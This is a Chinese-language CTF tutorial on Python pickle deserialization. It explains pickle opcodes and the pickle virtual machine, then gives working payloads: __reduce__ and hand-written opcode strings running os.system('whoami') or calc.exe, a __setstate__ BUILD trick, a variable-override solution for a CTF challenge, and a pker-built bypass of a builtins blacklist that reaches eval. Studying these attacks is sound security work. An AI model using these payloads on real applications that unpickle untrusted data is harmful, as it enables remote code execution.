pickle与序列化和反序列化
官方文档
模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化。 \”pickling\” 是将 Python 对象及其所拥有的层次结构转化为一个字节流的过程,而 \”unpickling\” 是相反的操作,会将(来自一个 binary file 或者 bytes-like object 的)字节流转化回一个对象层次结构。 pickling(和 unpickling)也被称为“序列化”, “编组” 或者 “平面化”。而为了避免混乱,此处采用术语 “封存 (pickling)” 和 “解封 (unpickling)”。
-
pickle.dumps(object)
:用于序列化一个对象
-
pickle.loads(picklestring)
:用于反序列化数据,实现一个对象的构建
测试代码:
#python3.7import pickleclass test_1():def __init__(self):self.name = \'LH\'self.age = 20class test_2():name = \'LH\'age = 20test1 = test_1()a_1 = pickle.dumps(test1)test2 = test_2()a_2 = pickle.dumps(test2)print(\"test_1序列化结果:\")print(a_1)print(\"test_2序列化结果:\")print(a_2)b_1 = pickle.loads(a_1)b_2 = pickle.loads(a_2)print(\"test_1反序列化结果:\")print(b_1.name)print(b_1.age)print(\"test_2反序列化结果:\")print(b_2.name)print(b_2.age)
运行结果:
可以看到序列化结果长短不同,这是因为待处理的类里面有无
__init__
造成的,test_2类没有使用
__init__
所以序列化结果并没有涉及到
name
和
age
。但是反序列化之后仍然可以得到对应的属性值。
另外:如果在反序列化生成一个对象以前删除了这个对象对应的类,那么我们在反序列化的过程中因为对象在当前的运行环境中没有找到这个类就会报错,从而反序列化失败。
__reduce__()
类似于PHP中的
__wakeup__
魔法函数。如果当
__reduce__
返回值为一个元组(2到5个参数),第一个参数是可调用(callable)的对象,第二个是该对象所需的参数元组。在这种情况下,反序列化时会自动执行__reduce__里面的操作。
测试代码:
#python3.7import osimport pickleclass A():def __reduce__(self):cmd = \"whoami\"return (os.system,(cmd,))a=A()str=pickle.dumps(a)pickle.loads(str)
运行结果:
现在把关注点放在序列化数据,以及如何根据序列化数据实现反序列化。
指定protocol
pickle.dumps(object)
在生成序列化数据时可以指定protocol参数,其取值包括:
- 当protocol=0时,序列化之后的数据流是可读的(ASCII码)
- 当protocol=3时,为python3的默认protocol值,序列化之后的数据流是hex码
更改代码:
#python3.7import osimport pickleclass A():def __reduce__(self):cmd = \"whoami\"return (os.system,(cmd,))a=A()str=pickle.dumps(a,protocol=0)print(str)print(str.decode()) #将byte类型转化为string类型
运行结果:
不了解
pickle
的相关指令的话,以上序列化结果根本看不懂:
pickle
相关的指令码与作用:
这里注意到
R
操作码,执行了可调用对象,可知它其实就是
__reduce__()
的底层实现。
其他指令可以在python的lib文件下的pickle.py查看:
对运行结果分解:
涉及到指令码,可以把pickle理解成一门栈语言:
- pickle解析依靠Pickle Virtual Machine (PVM)进行。
- PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:解析引擎:从流中读取指令码和参数,并对其进行解释处理。重复这个动作,直到遇到
.
停止。最终留在栈顶的值将被作为反序列化对象返回
- 栈:由Python的list实现,被用来临时存储数据、参数以及对象
- memo列表:由Python的dict实现,为PVM的生命周期提供存储数据的作用,以便后来的使用
结合上面的指令码与作用,可以分析出具体的过程。
具体过程
首先是:
cntsystem
也即引入
nt.system
,这里的
nt
是模块
os
的名称
name
,
os.name
在不同环境对应的值不同:
Windows下为
nt
:
Linux下为
posix
:
posix
是
Portable Operating System Interface of UNIX
(可移植操作系统接口)的缩写。Linux 和 Mac OS 均会返回该值。
然后再执行
p0
,将栈顶内容写入到列表中,由于是列表第一个数据因此索引为0:
接下去执行
(Vwhoami
,
(
是将一个标志位MASK压入栈中,
Vwhoami
就是将字符串“whoami”压入栈中:
接下去执行
p1
,将栈顶数据\”whoami\”写入列表,索引为1:ad8
再执行
tp2
,首先栈弹出从栈顶到MASK标志位的数据,将其转化为元组类型,然后再压入栈。最后
p2
将栈顶数据(也即元组)写入列表,索引为2:
再执行
Rp3
,先将之前压入栈中的元组和可调用对象全部弹出然后执行,这里也即执行
nt.system(\"whoami\")
,接着将结果压入栈。最后
p3
将栈顶数据(也即执行结果)写入列表,索引为3:
总的过程如下:
由于memo列表只是起到一个存储数据的作用,如果目的只是想要执行
nt.system(\"whoami\")
,可以将原序列化数据中有关写入列表的操作给去除。也即原
b\'cnt\\nsystem\\np0\\n(Vwhoami\\np1\\ntp2\\nRp3\\n.\'
可简化为
b\'cnt\\nsystem\\n(Vwhoami\\ntR.\'
,仍然是可以达到执行目的的:
pickletools模块
官方说明:
此模块包含与 pickle 模块内部细节有关的多个常量,一些关于具体实现的详细注释,以及一些能够分析封存数据的有用函数。 此模块的内容对需要操作 pickle 的 Python 核心开发者来说很有用处;pickle 的一般用户则可能会感觉 pickletools 模块与他们无关。
相关接口:
-
pickletools.dis(picklestring)
:
可以更方便的看到每一步的操作原理。如上面的例子执行该方法:
-
pickletools.optimize(picklestring)
:
消除未使用的 PUT 操作码之后返回一个新的等效 pickle 字符串。 优化后的 pickle 将更为简短,耗费更为的传输时间,要求更少的存储空间并能更高效地解封。也即上面分析能够经过简化的过程:
测试代码:
#python3.7import pickleimport pickleimport pickletoolsclass person():def __init__(self, name, age):self.name = nameself.age = ageme = person(\'LH\', 20)str = pickle.dumps(me)print(str)pickletools.dis(str)
运行结果:
b\'\\x80\\x03c__main__\\nperson\\nq\\x00)\\x81q\\x01}q\\x02(X\\x04\\x00\\x00\\x00nameq\\x03X\\x02\\x00\\x00\\x00LHq\\x04X\\x03\\x00\\x00\\x00ageq\\x05K\\x14ub.\'0: \\x80 PROTO 32: c GLOBAL \'__main__ person\'19: q BINPUT 021: ) EMPTY_TUPLE22: \\x81 NEWOBJ23: q BINPUT 125: } EMPTY_DICT26: q BINPUT 228: ( MARK29: X BINUNICODE \'name\'38: q BINPUT 340: X BINUNICODE \'LH\'47: q BINPUT 449: X BINUNICODE \'age\'57: q BINPUT 559: K BININT1 2061: u SETITEMS (MARK at 28)62: b BUILD63: . STOPhighest protocol among opcodes = 2
对
str
使用
pickle.optimize
进行简化:
>>>str=b\'\\x80\\x03c__main__\\nperson\\nq\\x00)\\x81q\\x01}q\\x02(X\\x04\\x00\\x00\\x00nameq\\x03X\\x02\\x00\\x00\\x00LHq\\x04X\\x03\\x00\\x00\\x00ageq\\x05K\\x14ub.\'>>>pickletools.optimize(str)>>>b\'\\x80\\x03c__main__\\nperson\\n)\\x81}(X\\x04\\x00\\x00\\x00nameX\\x02\\x00\\x00\\x00LHX\\x03\\x00\\x00\\x00ageK\\x14ub.\'
应用
修改刚才源码:
#python3.7import base64import pickleimport otherpeopleclass person():def __init__(self, name, age):self.name = nameself.age = ageme=pickle.loads(base64.b64decode(input()))if otherpeople.name==me.name and otherpeople.age==me.age:print(\"flag\")else:print(\"hack\")
同目录下新建otherpeople文件夹,写入__init.py__用于新建一个模板:
name = \'Dr.liu\'age = 21
要求我们输入待反序列化的数据,使得反序列化之后为
person
类的一个对象
me
,如果
me.name
与
me.age
分别等于
otherpeople
模板的
name
和
age
,才能得到flag。如果把刚才的序列化数据中的
LH
和
20
改成模板中的
Dr.liu
和
21
则能实现:
第二个hex码对应是字符串的长度,十六进制的14对应为十进制20
但是此时我们并不知道
otherpeople
模板的内容,所2b60以并不能实现。
根据前面的例子可知,引用模块在
pickle
中对应的操作码是
c
,所以可以根据其书写规则得到
otherpeople.name
和
otherpeople.age
对应的序列化数据是
cotherpeople\\nname\\n
和
cotherpeople\\nage\\n
,将原数据进行替换:
再对替换的结果进行base64编码:
>>>import base64>>>base64.b64encode(b\'\\x80\\x03c__main__\\nperson\\n)\\x81}(X\\x04\\x00\\x00\\x00namecotherpeople\\nname\\nX\\x03\\x00\\x00\\x00agecotherpeople\\nage\\nub.\')>>>b\'gANjX19tYWluX18KcGVyc29uCimBfShYBAAAAG5hbWVjb3RoZXJwZW9wbGUKbmFtZQpYAwAAAGFnZWNvdGhlcnBlb3BsZQphZ2UKdWIu\'
验证:
限制module
pickle
源码中,c指令是基于
find_class
这个方法实现的,然而
find_class
可以被出题人重写。如果出题人只允许c指令包含
__main__
这一个module、不允许导入其他module,也即刚才的
cotherpeople
被限制了。此时又该如何绕过呢?
回到刚才的测试代码的运行结果,发现
pickle
是构建
person
的过程是完全可视的,而且是在
__main__
这个module进行构建的:
那么就可以根据pickle语法,插入一段数据,这段数据用于在
__main__
中构建一个
otherpeople
对象,此时
otherpeople.name
和
otherpeople.age
也是可控的,这样我们就可以覆盖掉原本未知的
Dr.liu
和
21
,只需确保和
person.name
和
person.age
相等即可。
先放出示意图:
解释一下恶意插入的序列化数据:
b\'c__main__\\notherpeople\\n}(Vname\\nVsunxiaokong\\nVage\\nK\\x16ub0\'
1、首先类比构建
person
对象时的语法:
c__main__\\notherpeople\\n}
2、接下去
(
操作码表示将压入一个元组到栈中,
V
操作码表示跟在它后面的数据是一个字符串,
K
操作码表示跟在它后面的数据是一个整型数字,
Vname\\nVsunxiaokong\\nVage\\nK\\x16
表示的元组为:
{\'name\':\'sunxiaokong\',\'age\':22}
3、然后
u
操作码规定了即将构建的对象的界限,
b
操作码用于构造对象
4、
0
操作码将该对象(栈顶元素)从栈弹出
经过上面的操作此时
otherpeople.name=\'sunxiaokong\'
、
otherpeople.age=22
,因此后半段
person
中相应的属性也应该改成相同的值:
X\\x04\\x00\\x00\\x00nameX\\x0b\\x00\\x00\\x00sunxiaokongX\\x03\\x00\\x00\\x00ageK\\x16
验证:
>>>base64.b64encode(b\'\\x80\\x03c__main__\\notherpeople\\n}(Vname\\nVsunxiaokong\\nVage\\nK\\x16ub0c__main__\\nperson\\n)\\x81}(X\\x04\\x00\\x00\\x00nameX\\x0b\\x00\\x00\\x00sunxiaokongX\\x03\\x00\\x00\\x00ageK\\x16ub.\')b\'gANjX19tYWluX18Kb3RoZXJwZW9wbGUKfShWbmFtZQpWc3VueGlhb2tvbmcKVmFnZQpLFnViMGNfX21haW5fXwpwZXJzb24KKYF9KFgEAAAAbmFtZVgLAAAAc3VueGlhb2tvbmdYAwAAAGFnZUsWdWIu\'
以上思路也是“2020高校战疫”webtmp的解题思路
限制__reduce()__
如果限制
__reduce()__
,需要另外一个知识点:
关注操作码
b
:
跟进到
load_build
函数:
def load_build(self):stack = self.stackstate = stack.pop()inst = stack[-1]setstate = getattr(inst, \"__setstate__\", None) #获取inst的__setstate__方法if setstate is not None:setstate(state)returnslotstate = Noneif isinstance(state, tuple) and len(state) == 2:state, slotstate = stateif state:inst_dict = inst.__dict__intern = sys.internfor k, v in state.items():if type(k) is str:inst_dict[intern(k)] = velse:inst_dict[k] = vif slotstate:for k, v in slotstate.items():setattr(inst, k, v)dispatch[BUILD[0]] = load_build
把当前栈栈顶数据记为
state
,然后弹出,再把接下去的栈顶数据记为
inst
关注到第七行的
setstate(state)
,这意味着可以RCE,但是
inst
原先是没有
__setstate__
这个方法的。可以利用{‘
__setstate__
’:
os.system
}来BUILD这个对象,那么现在
inst
的
__setstate__
方法就变成了
os.system
;另外再确保
state
也即一开始的栈顶元素为
calc.exe
,则会执行
setstate(“calc.exe”)
,也即
os.system(\"calc.exe\")
。
上面的操作对应的payload如下:
b\'\\x80\\x03c__main__\\nA\\n)\\x81}(V__setstate__\\ncos\\nsystem\\nubVcalc.exe\\nb.\'
验证代码:
import osimport pickleimport pickletoolsclass A():#balabala·····str=b\'\\x80\\x03c__main__\\nA\\n)\\x81}(V__setstate__\\ncos\\nsystem\\nubVcalc.exe\\nb.\'pickle.loads(str)
除了操作码
b
可以利用外,还有
i
和
o
操作码可以实现RCE:
b\'(S\\\'whoami\\\'\\nios\\nsystem\\n.\'b\'(cos\\nsystem\\nS\\\'whoami\\\'\\no.\'
payload的构造可以参照对应的作用:
工具pker
Github地址
借助该工具,可以省去人工构造payload,根据自己的相关需求可以自动生成相应的序列化数据。
pker主要用到GLOBAL、INST、OBJ三种特殊的函数以及一些必要的转换方式:
- GLOBAL :用来获取module下的一个全局对象,对应操作码
c
,如
GLOBAL(\'os\', \'system\')
- INST :建立并入栈一个对象(可以执行一个函数),对应操作码
i
,如
INST(\'os\',\'system\',\'ls\')
,输入规则按照:
module,callable,para
- OBJ :建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数),对应操作码
o
。 如
OBJ(GLOBAL(\'os\',\'system\'),\'ls\')
,输入规则按照:
callable,para
- xxx(xx,…): 使用参数xx调用函数xxx,对应操作码
R
- li[0]=321或globals_dic[\’local_var\’]=\’hello\’ :更新列表或字典的某项的值,对应操作码
s
- xx.attr=123:对xx对象进行属性设置,对应操作码
b
- return :出栈,对应操作码
0
使用例子:
1、用于执行
os.system(\"whoami\")
:
s=\'whoami\'system = GLOBAL(\'os\', \'system\')system(s) # b\'R\'调用 return
2、全局变量覆盖举例:
secret=GLOBAL(\'__main__\', \'secret\')secret.name=\'1\'secret.category=\'2\'
以刚刚上面那道只允许引入
__main__
模块的变量覆盖为例,对应的pker代码:
otherpeople = GLOBAL(\'__main__\',\'otherpeople\')otherpeople.name = \'sunxiaokong\'otherpeople.age = 22new = INST(\'__main__\', \'person\',\'sunxiaokong\',20)return new
Code-Breaking picklecode
import pickleimport base64import builtinsimport ioclass RestrictedUnpickler(pickle.Unpickler):blacklist = {\'eval\', \'exec\', \'execfile\', \'compile\', \'open\', \'input\', \'__import__\', \'exit\'}def find_class(self, module, name):if module == \"builtins\" and name not in self.blacklist:return getattr(builtins, name)raise pickle.UnpicklingError(\"global \'%s.%s\' is forbidden\" %(module, name))def restricted_loads(s):return RestrictedUnpickler(io.BytesIO(s)).load()restricted_loads(base64.b64decode(input()))
代码的主要内容就是限制了反序列化的内容,规定了我们只能引用
builtins
这个模块,而且禁止了里面的一些函数。但是没有禁止
getattr
这个方法,因此我们可以构造
builtins.getattr(builtins,’eval’)
的方法来构造
eval
函数。pickle不能直接获取
builtins
一级模块,但可以通过
builtins.globals()
获得
builtins
;这样就可以执行任意代码了。
用pker构造payload:
#先借助builtins.globals获取builtins模块getattr=GLOBAL(\'builtins\',\'getattr\')dict=GLOBAL(\'builtins\',\'dict\')dict_get=getattr(dict,\'get\')glo_dic=GLOBAL(\'builtins\',\'globals\')()builtins=dict_get(glo_dic,\'builtins\')#再用builtins模块获取eval函数eval=getattr(builtins,\'eval\')eval(\'ls\')return